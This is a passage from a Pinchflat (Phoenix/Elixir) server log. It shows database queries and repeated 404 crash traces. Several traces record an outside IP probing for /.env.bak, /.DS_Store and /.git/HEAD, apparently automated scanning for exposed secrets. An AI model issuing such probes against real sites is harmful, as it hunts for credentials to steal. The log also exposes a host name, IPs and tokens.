line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zz-nonexistent-test-8492 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9869.0>, params: %{}, path_info: ["zz-nonexistent-test-8492"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml (truncated) 15:22:18.738 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "N1YLezAAJkYTCy1ZDD8AHQAycxgbCxt8ogj8aEk1WDC4xse_nuAtmct3", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:22:18.840 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "X1aCQEMwDOnmtLeBnG2lvhoO", "media_state" => "downloaded"} 15:22:18.840 [debug] QUERY OK source="media_items" db=0.2ms idle=1901.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:18.840 [debug] QUERY OK source="media_items" db=0.4ms idle=1601.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:18.841 [debug] QUERY OK source="sources" db=0.1ms idle=1601.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:18.841 [debug] Replied in 1ms 15:22:18.841 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "X1aCQEMwDOnmtLeBnG2lvhoO", "media_state" => "pending"} 15:22:18.843 [debug] QUERY OK source="media_items" db=1.4ms idle=1304.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:18.844 [debug] QUERY OK source="media_items" db=1.5ms idle=305.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:18.844 [debug] Replied in 3ms 15:22:18.845 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "X1aCQEMwDOnmtLeBnG2lvhoO"} 15:22:18.845 [debug] QUERY OK source="tasks" db=0.0ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:18.845 [debug] Replied in 237µs 15:22:27.023 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:45.032 [info] GET /.env.bak 15:22:45.033 [debug] QUERY OK source="settings" db=0.0ms idle=1094.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.033 [debug] QUERY OK source="settings" db=0.0ms idle=1094.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.033 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.033 [error] #PID<0.9879.0> running PinchflatWeb.Endpoint (connection #PID<0.9878.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45724}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9879.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEGYMHcuTBHQAAeaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45724}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45724}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 15:22:45.038 [info] GET /.DS_Store 15:22:45.039 [debug] QUERY OK source="settings" db=0.0ms idle=1100.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.039 [debug] QUERY OK source="settings" db=0.0ms idle=473.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.039 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.039 [error] #PID<0.9881.0> running PinchflatWeb.Endpoint (connection #PID<0.9880.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9881.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEGZpAATu9-MAAebC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, (truncated) 15:22:45.045 [info] GET /.git/HEAD 15:22:45.045 [debug] QUERY OK source="settings" db=0.1ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.045 [debug] QUERY OK source="settings" db=0.0ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.045 [error] #PID<0.9883.0> running PinchflatWeb.Endpoint (connection #PID<0.9882.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9883.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEGbGD66w0o8AAIwD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: 